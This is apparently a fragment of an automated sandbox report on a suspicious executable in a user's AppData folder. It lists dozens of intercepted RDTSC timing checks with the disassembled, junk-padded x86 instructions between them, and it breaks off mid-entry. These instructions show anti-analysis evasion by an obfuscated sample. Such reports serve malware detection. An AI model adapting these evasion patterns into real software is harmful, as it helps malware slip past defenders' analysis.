Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0443 second address: 4CE0460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0460 second address: 4CE0470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD7D899Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0470 second address: 4CE04D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F95FD07A069h 0x00000012 add ax, 5B56h 0x00000017 jmp 00007F95FD07A061h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F95FD07A060h 0x00000023 or si, FD78h 0x00000028 jmp 00007F95FD07A05Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE04D0 second address: 4CE04D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE04D6 second address: 4CE052E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f mov dx, si 0x00000012 pushad 0x00000013 call 00007F95FD07A05Eh 0x00000018 pop eax 0x00000019 push edi 0x0000001a pop esi 0x0000001b popad 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f jmp 00007F95FD07A05Dh 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F95FD07A068h 0x0000002e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE052E second address: 4CE0532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CE0532 second address: 4CE0538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CF0DA9 second address: 4CF0E36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F95FD7D899Fh 0x00000009 jmp 00007F95FD7D89A3h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F95FD7D89A8h 0x00000015 adc si, 7978h 0x0000001a jmp 00007F95FD7D899Bh 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 push eax 0x00000024 pushad 0x00000025 mov cx, bx 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b mov bx, 313Eh 0x0000002f push eax 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007F95FD7D89A5h 0x00000037 xor ch, FFFFFFC6h 0x0000003a jmp 00007F95FD7D89A1h 0x0000003f popfd 0x00000040 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D000FF second address: 4D00118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F95FD07A063h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D00118 second address: 4D0017D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F95FD7D89A0h 0x0000000f push eax 0x00000010 jmp 00007F95FD7D899Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushad 0x00000018 mov ah, 9Bh 0x0000001a mov di, ECB2h 0x0000001e popad 0x0000001f mov esi, edx 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007F95FD7D89A5h 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov bh, 77h 0x0000002f movzx eax, dx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D2073A second address: 4D2073E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D2073E second address: 4D20744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D20744 second address: 4D207A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A064h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F95FD07A05Eh 0x00000010 mov ax, 3041h 0x00000014 pop eax 0x00000015 push edx 0x00000016 mov bh, ch 0x00000018 pop edi 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F95FD07A065h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F95FD07A05Eh 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D207A0 second address: 4D2084C instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a movzx ecx, bx 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 mov edi, eax 0x00000014 popad 0x00000015 pushfd 0x00000016 jmp 00007F95FD7D899Ch 0x0000001b and ax, 0248h 0x00000020 jmp 00007F95FD7D899Bh 0x00000025 popfd 0x00000026 popad 0x00000027 mov dword ptr [esp], ecx 0x0000002a jmp 00007F95FD7D89A6h 0x0000002f mov eax, dword ptr [76FA65FCh] 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F95FD7D899Eh 0x0000003b sbb ax, 27D8h 0x00000040 jmp 00007F95FD7D899Bh 0x00000045 popfd 0x00000046 call 00007F95FD7D89A8h 0x0000004b mov di, cx 0x0000004e pop esi 0x0000004f popad 0x00000050 test eax, eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F95FD7D89A8h 0x00000059 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D2084C second address: 4D2085E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD07A05Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D2085E second address: 4D20888 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F966F9DBA96h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movzx eax, bx 0x00000014 jmp 00007F95FD7D89A5h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D20888 second address: 4D208D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, DABEh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, eax 0x0000000c jmp 00007F95FD07A065h 0x00000011 xor eax, dword ptr [ebp+08h] 0x00000014 jmp 00007F95FD07A067h 0x00000019 and ecx, 1Fh 0x0000001c pushad 0x0000001d mov bx, si 0x00000020 push eax 0x00000021 push edx 0x00000022 mov si, C83Dh 0x00000026 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D208D0 second address: 4D2096B instructions: 0x00000000 rdtsc 0x00000002 call 00007F95FD7D899Ah 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b ror eax, cl 0x0000000d pushad 0x0000000e movsx ebx, si 0x00000011 mov si, F9CFh 0x00000015 popad 0x00000016 leave 0x00000017 pushad 0x00000018 push eax 0x00000019 pushfd 0x0000001a jmp 00007F95FD7D89A7h 0x0000001f jmp 00007F95FD7D89A3h 0x00000024 popfd 0x00000025 pop ecx 0x00000026 call 00007F95FD7D89A9h 0x0000002b mov esi, 05F99F87h 0x00000030 pop eax 0x00000031 popad 0x00000032 retn 0004h 0x00000035 nop 0x00000036 mov esi, eax 0x00000038 lea eax, dword ptr [ebp-08h] 0x0000003b xor esi, dword ptr [003C2014h] 0x00000041 push eax 0x00000042 push eax 0x00000043 push eax 0x00000044 lea eax, dword ptr [ebp-10h] 0x00000047 push eax 0x00000048 call 00007F96021792E4h 0x0000004d push FFFFFFFEh 0x0000004f pushad 0x00000050 pushfd 0x00000051 jmp 00007F95FD7D89A9h 0x00000056 jmp 00007F95FD7D899Bh 0x0000005b popfd 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D2096B second address: 4D209A9 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 jmp 00007F95FD07A05Eh 0x0000000d ret 0x0000000e nop 0x0000000f push eax 0x00000010 call 00007F9601A1A9E1h 0x00000015 mov edi, edi 0x00000017 jmp 00007F95FD07A060h 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F95FD07A05Dh 0x00000025 mov di, si 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D209A9 second address: 4D209AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D209AF second address: 4D209B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D209B3 second address: 4D209EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D899Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F95FD7D89A9h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov di, 32DAh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D209EB second address: 4D20A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD07A067h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D20A06 second address: 4D20A16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D20A16 second address: 4D20A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4D20A1A second address: 4D20A20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0060 second address: 4CD00D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A066h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F95FD07A060h 0x00000010 and esp, FFFFFFF8h 0x00000013 jmp 00007F95FD07A060h 0x00000018 xchg eax, ecx 0x00000019 pushad 0x0000001a jmp 00007F95FD07A05Eh 0x0000001f mov di, si 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F95FD07A069h 0x0000002d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD00D1 second address: 4CD00D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD00D7 second address: 4CD00DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD00DD second address: 4CD00E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD00E1 second address: 4CD0121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a mov edx, eax 0x0000000c pushfd 0x0000000d jmp 00007F95FD07A05Ch 0x00000012 jmp 00007F95FD07A065h 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F95FD07A05Dh 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0121 second address: 4CD014D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F95FD7D89A1h 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD014D second address: 4CD0155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0155 second address: 4CD0167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, 2211h 0x00000008 popad 0x00000009 popad 0x0000000a mov ebx, dword ptr [ebp+10h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0167 second address: 4CD017C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F95FD07A05Fh 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD017C second address: 4CD019C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD019C second address: 4CD01D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F95FD07A063h 0x0000000a xor cx, 120Eh 0x0000000f jmp 00007F95FD07A069h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD01D4 second address: 4CD01FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F95FD7D89A7h 0x00000008 pop esi 0x00000009 mov di, 7ECCh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD01FD second address: 4CD0201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0201 second address: 4CD0218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0218 second address: 4CD02A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F95FD07A05Fh 0x00000009 sub eax, 571E7A2Eh 0x0000000f jmp 00007F95FD07A069h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F95FD07A060h 0x0000001b and cx, 57A8h 0x00000020 jmp 00007F95FD07A05Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, esi 0x0000002a jmp 00007F95FD07A066h 0x0000002f mov esi, dword ptr [ebp+08h] 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F95FD07A067h 0x00000039 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD02A3 second address: 4CD0306 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F95FD7D899Fh 0x00000009 jmp 00007F95FD7D89A3h 0x0000000e popfd 0x0000000f call 00007F95FD7D89A8h 0x00000014 pop esi 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ebx 0x00000019 jmp 00007F95FD7D899Eh 0x0000001e mov dword ptr [esp], edi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F95FD7D899Ah 0x0000002a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0306 second address: 4CD030A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD030A second address: 4CD0310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0310 second address: 4CD0321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD07A05Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0321 second address: 4CD0325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0325 second address: 4CD0335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0335 second address: 4CD0339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0339 second address: 4CD034F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD034F second address: 4CD0361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD7D899Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0361 second address: 4CD0365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0365 second address: 4CD037C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F966FA26C3Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov edi, 059A663Ah 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD037C second address: 4CD03AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 31D8301Dh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 pushad 0x00000013 call 00007F95FD07A065h 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d movsx edi, ax 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD03AC second address: 4CD03E3 instructions: 0x00000000 rdtsc 0x00000002 mov dx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 je 00007F966FA26C0Dh 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F95FD7D899Eh 0x00000015 add ax, 1D08h 0x0000001a jmp 00007F95FD7D899Bh 0x0000001f popfd 0x00000020 popad 0x00000021 mov edx, dword ptr [esi+44h] 0x00000024 pushad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD03E3 second address: 4CD045D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F95FD07A05Ch 0x0000000a add cx, BF68h 0x0000000f jmp 00007F95FD07A05Bh 0x00000014 popfd 0x00000015 popad 0x00000016 mov ch, F1h 0x00000018 popad 0x00000019 or edx, dword ptr [ebp+0Ch] 0x0000001c jmp 00007F95FD07A05Bh 0x00000021 test edx, 61000000h 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F95FD07A05Bh 0x0000002e and si, 6B5Eh 0x00000033 jmp 00007F95FD07A069h 0x00000038 popfd 0x00000039 popad 0x0000003a jne 00007F966F2C8294h 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F95FD07A05Ah 0x00000048 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC077F second address: 4CC07A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F95FD7D899Ch 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC07A3 second address: 4CC07E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F95FD07A061h 0x00000009 xor cx, 6486h 0x0000000e jmp 00007F95FD07A061h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov ebx, 7BB43B0Eh 0x0000001e mov edx, 5CFCFA1Ah 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 mov cx, bx 0x0000002c rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC07E7 second address: 4CC07FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, edi 0x00000008 popad 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov dx, 9470h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC07FA second address: 4CC083D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F95FD07A064h 0x0000000a and si, 5CB8h 0x0000000f jmp 00007F95FD07A05Bh 0x00000014 popfd 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F95FD07A065h 0x0000001e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC083D second address: 4CC0843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0843 second address: 4CC0847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0847 second address: 4CC0864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F95FD7D89A0h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0864 second address: 4CC0868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0868 second address: 4CC086E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC086E second address: 4CC0906 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95FD07A05Ch 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e pushad 0x0000000f mov al, F6h 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F95FD07A05Eh 0x0000001a add ax, 2B08h 0x0000001f jmp 00007F95FD07A05Bh 0x00000024 popfd 0x00000025 mov dx, ax 0x00000028 popad 0x00000029 mov dword ptr [esp], esi 0x0000002c pushad 0x0000002d jmp 00007F95FD07A060h 0x00000032 popad 0x00000033 mov esi, dword ptr [ebp+08h] 0x00000036 jmp 00007F95FD07A067h 0x0000003b sub ebx, ebx 0x0000003d jmp 00007F95FD07A05Fh 0x00000042 test esi, esi 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 